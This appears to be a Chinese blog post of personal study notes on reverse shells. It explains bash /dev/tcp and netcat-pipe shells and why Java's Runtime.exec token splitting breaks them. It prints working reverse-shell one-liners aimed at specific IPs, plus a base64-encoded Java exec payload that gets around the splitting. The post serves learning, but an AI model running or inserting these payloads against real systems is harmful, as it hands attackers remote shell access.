前言
看到谢公子公众号推的一篇JDWP打点,看到如下形式的反弹shell,以前有记过。nc 192.168.178.129 3333 | /bin/bash | nc 192.168.178.129 4444%
sh -i >& /dev/tcp/101.200.xx.xx/3333 0>&1 | /bin/sh | sh -i >& /dev/tcp/101.200.xx.xx/4444 0>&1%
但是没理解,并且再看这篇推文的时候也有疑惑为什么没有用基础的bash反弹shell,搜索发现使用Java反弹shell不能直接这么用,平时直接用在线生成的Java反弹shellRuntime.getRuntime().exec("bash -i >& /dev/tcp/ip/port 0>&1");
该文仅作为个人学习记录
理解
bash -i >& /dev/tcp/ip/port 0>&1
- bash -i 创建一个交互式的bash进程
- /dev/tcp/ip/port,linux中所有的程序都是以文件的形式存在。这句话的意思与ip:port建立了一个TCP连接。
- >& command >&file这种写法也等价于command >file 2>&1。(其中2>&1表示的就是将文件描述符2重定向到文件描述符1)
- 0>&1 将标准输入重定向到标准输出
nc IP 8888 | /bin/bash | nc IP 9999
8888端口输入命令,9999端口监听输出执行结果
将8888监听到的数据作为/bin/bash重定向输入,执行传回来的命令,然后再将执行结果作为输入重定向发送给监听主机的9999端口
Java反弹shell
究其原因,为什么不能直接Runtime.getRuntime().exec("bash -i >& /dev/tcp/ip/port 0>&1");
还是因为exec的字符串分割问题
在spoock博文中有做具体分析,这里直接照搬exec的分析
在java.lang.Runtime()中存在多个重载的exec()方法,如下所示:
public Process exec(String command)
public Process exec(String command, String[] envp)
public Process exec(String command, String[] envp, File dir)
public Process exec(String cmdarray[])
public Process exec(String[] cmdarray, String[] envp)
public Process exec(String[] cmdarray, String[] envp, File dir)
除了常见的exec(String command)和exec(String cmdarray[]),其他exec()都增加了envp和File这些限制。虽然如此,但是最终都是调用相同的方法,本质没有却区别。这些函数存在的意义可以简要地参考调用java.lang.Runtime.exec的正确姿势
分析exec(String cmdarray[])和exec(String command):
// exec(String command) 函数
public Process exec(String command) throws IOException {
return exec(command, null, null);
}
...
public Process exec(String command, String[] envp, File dir)
throws IOException {
if (command.length() == 0)
throw new IllegalArgumentException("Empty command");
StringTokenizer st = new StringTokenizer(command);
String[] cmdarray = new String[st.countTokens()];
for (int i = 0; st.hasMoreTokens(); i++)
cmdarray[i] = st.nextToken();
return exec(cmdarray, envp, dir);
}
...
// exec(String cmdarray[])
public Process exec(String cmdarray[]) throws IOException {
return exec(cmdarray, null, null);
}
这里有可能看到不管是public Process exec(String command)还是public Process exec(String cmdarray[])最终都调用了public Process exec(String command, String[] envp, File dir),public Process exec(String[] cmdarray, String[] envp)这样的具体方法。
其中有一个函数StringTokenizer
StringTokenizer 通过分割符进行分割,java 默认的分隔符是空格("")、制表符(\t)、换行符(\n)、回车符(\r)
因此在传入Runtime.getRuntime().exec("bash -i >& /dev/tcp/ip/port 0>&1");
会被拆分成如下形式
1 | 2 | 3 | 4 | 5
–|—|—|—|–
bash | -i | >& | /dev/tcp/ip/port | 0>&1
而我们执行r.exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/ip/port 0>&1"});
,执行到exec(cmdarray, envp, dir);时,cmdarray的参数结果是:
1 | 2 | 3
–|—|–
/bin/bash | -c | bash -i >& /dev/tcp/ip/port 0>&1
因此为了绕过空格,这里直接推荐最放便的base64写法Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEyNy4wLjAuMS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}");
学习文章
https://blog.spoock.com/2018/11/07/java-reverse-shell/
https://blog.spoock.com/2018/11/25/getshell-bypass-exec/
https://paper.seebug.org/933/